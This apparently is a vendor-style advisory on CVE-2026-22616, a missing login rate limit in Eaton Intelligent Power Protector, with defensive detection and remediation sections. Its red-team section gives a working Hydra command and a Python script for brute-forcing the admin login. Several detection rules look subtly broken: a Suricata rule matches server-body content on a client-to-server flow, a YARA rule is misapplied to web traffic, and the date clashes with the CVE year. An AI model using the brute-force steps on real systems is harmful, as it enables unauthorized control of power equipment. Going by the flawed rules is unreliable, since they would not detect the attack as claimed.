CVE-2026-22616
Executive Summary
CVE-2026-22616 affects Eaton Intelligent Power Protector (IPP) software, a critical component used for managing and protecting power infrastructure in data centers and industrial environments. The vulnerability stems from insufficient rate-limiting controls on the web interface login page, allowing an attacker to perform repeated authentication attempts without restriction. This brute-force vector can lead to unauthorized access, potentially compromising the management of power distribution units (PDUs) and uninterruptible power supplies (UPS). The vendor has released a patched version, and immediate upgrade is recommended.
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CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No prior authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality (C): Low (L) – Limited information disclosure possible.
- Integrity (I): Low (L) – Limited data modification possible.
- Availability (A): Low (L) – Limited service disruption possible.
- Threat Level: Medium – While the CVSS score is moderate, the ease of exploitation (no auth, low complexity) and the critical nature of power management systems elevate the risk in operational technology (OT) environments.
Deep Dive & Mechanics
The vulnerability resides in the authentication mechanism of the Eaton IPP web interface. The login endpoint does not implement adequate rate-limiting or account lockout policies. This allows an attacker to send a high volume of login requests (e.g., using a dictionary or brute-force tool) without being throttled or blocked.
Attack Flow:
- The attacker identifies an Eaton IPP instance exposed to the network (e.g., via Shodan or internal scanning).
- Using a tool like Hydra, Medusa, or a custom Python script, the attacker sends POST requests to the login endpoint (typically
/loginor/api/authenticate). - The server processes each attempt without delay or failure counting, allowing the attacker to test thousands of credentials per minute.
- Upon successful authentication, the attacker gains access to the IPP management console, enabling them to modify power settings, view sensitive logs, or pivot to other network assets.
Root Cause: Lack of server-side rate-limiting logic. The application does not track failed attempts per IP or per user, nor does it enforce a delay between consecutive login requests.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# app/routes.py (vulnerable)
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
user = authenticate(username, password)
if user:
session['user'] = user
return redirect('/dashboard')
else:
return render_template('login.html', error='Invalid credentials')
No rate-limiting or failure tracking.
Patched Code (Conceptual):
# app/routes.py (patched)
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(key_func=get_remote_address)
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
username = request.form['username']
password = request.form['password']
user = authenticate(username, password)
if user:
session['user'] = user
return redirect('/dashboard')
else:
return render_template('login.html', error='Invalid credentials')
Rate-limiting applied: 5 attempts per minute per IP.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: Eaton IPP instance (vulnerable version) on a local VM or container.
- Attacker: Kali Linux with Hydra installed.
Exploitation Steps:
- Identify the login endpoint (e.g.,
http://<target>:<port>/login). - Prepare a wordlist of common credentials (e.g.,
admin:admin,admin:password). - Run Hydra:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" - Monitor for successful login attempts. Once found, use the credentials to access the web interface.
Alternative (Python Script):
import requests
target = "http://<target>:<port>/login"
wordlist = ["admin", "password", "12345", "admin123"]
for password in wordlist:
data = {"username": "admin", "password": password}
r = requests.post(target, data=data)
if "Invalid credentials" not in r.text:
print(f"Found password: {password}")
break
Blue Team (Defensive)
Detection:
- Monitor for high volumes of HTTP 401/403 responses from the login endpoint.
- Alert on multiple failed login attempts from a single IP within a short time window.
- Use WAF rules to block IPs exceeding a threshold (e.g., 10 failed attempts in 5 minutes).
Mitigation:
- Apply the vendor patch immediately.
- Implement additional rate-limiting at the network level (e.g., using a reverse proxy like Nginx).
- Enforce strong password policies and multi-factor authentication (MFA) if supported.
Indicators of Compromise (IOCs)
Network IOCs:
- High frequency of POST requests to
/loginor/api/authenticatefrom a single IP. - Repeated HTTP 401 responses.
- User-agent strings associated with brute-force tools (e.g.,
Hydra,Python-requests).
- High frequency of POST requests to
Log IOCs:
- Multiple
Invalid credentialslog entries for the same username. - Successful login after a burst of failed attempts.
- Multiple
File IOCs:
- Unauthorized changes to power settings or user accounts.
- New scheduled tasks or scripts on the IPP server.
Detection Engineering
YARA Rule
rule detect_eaton_ipp_bruteforce {
meta:
description = "Detects brute-force attempts against Eaton IPP login"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-22616"
strings:
$login_endpoint = "/login"
$invalid_creds = "Invalid credentials"
$post_method = "POST"
condition:
# of ($login_endpoint) > 10 and # of ($invalid_creds) > 5
}
Sigma Rule
title: Eaton IPP Brute-Force Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple failed login attempts to Eaton IPP web interface
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/login'
sc-status: 401
condition: selection | count() by src_ip > 10 within 5m
falsepositives:
- Legitimate users forgetting passwords
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"Eaton IPP Brute-Force Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/login"; http_uri;
content:"Invalid credentials"; http_server_body;
threshold: type both, track by_src, count 10, seconds 300;
sid:1000001;
rev:1;
)
Remediation & Mitigation
- Immediate Action: Upgrade to the latest version of Eaton IPP from the Eaton download centre.
- Network Controls: Implement rate-limiting at the perimeter firewall or WAF to restrict login attempts.
- Account Hardening: Enforce strong password policies and consider MFA.
- Monitoring: Enable logging and alerting for failed authentication events.
- Segmentation: Isolate IPP management interfaces from untrusted networks.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
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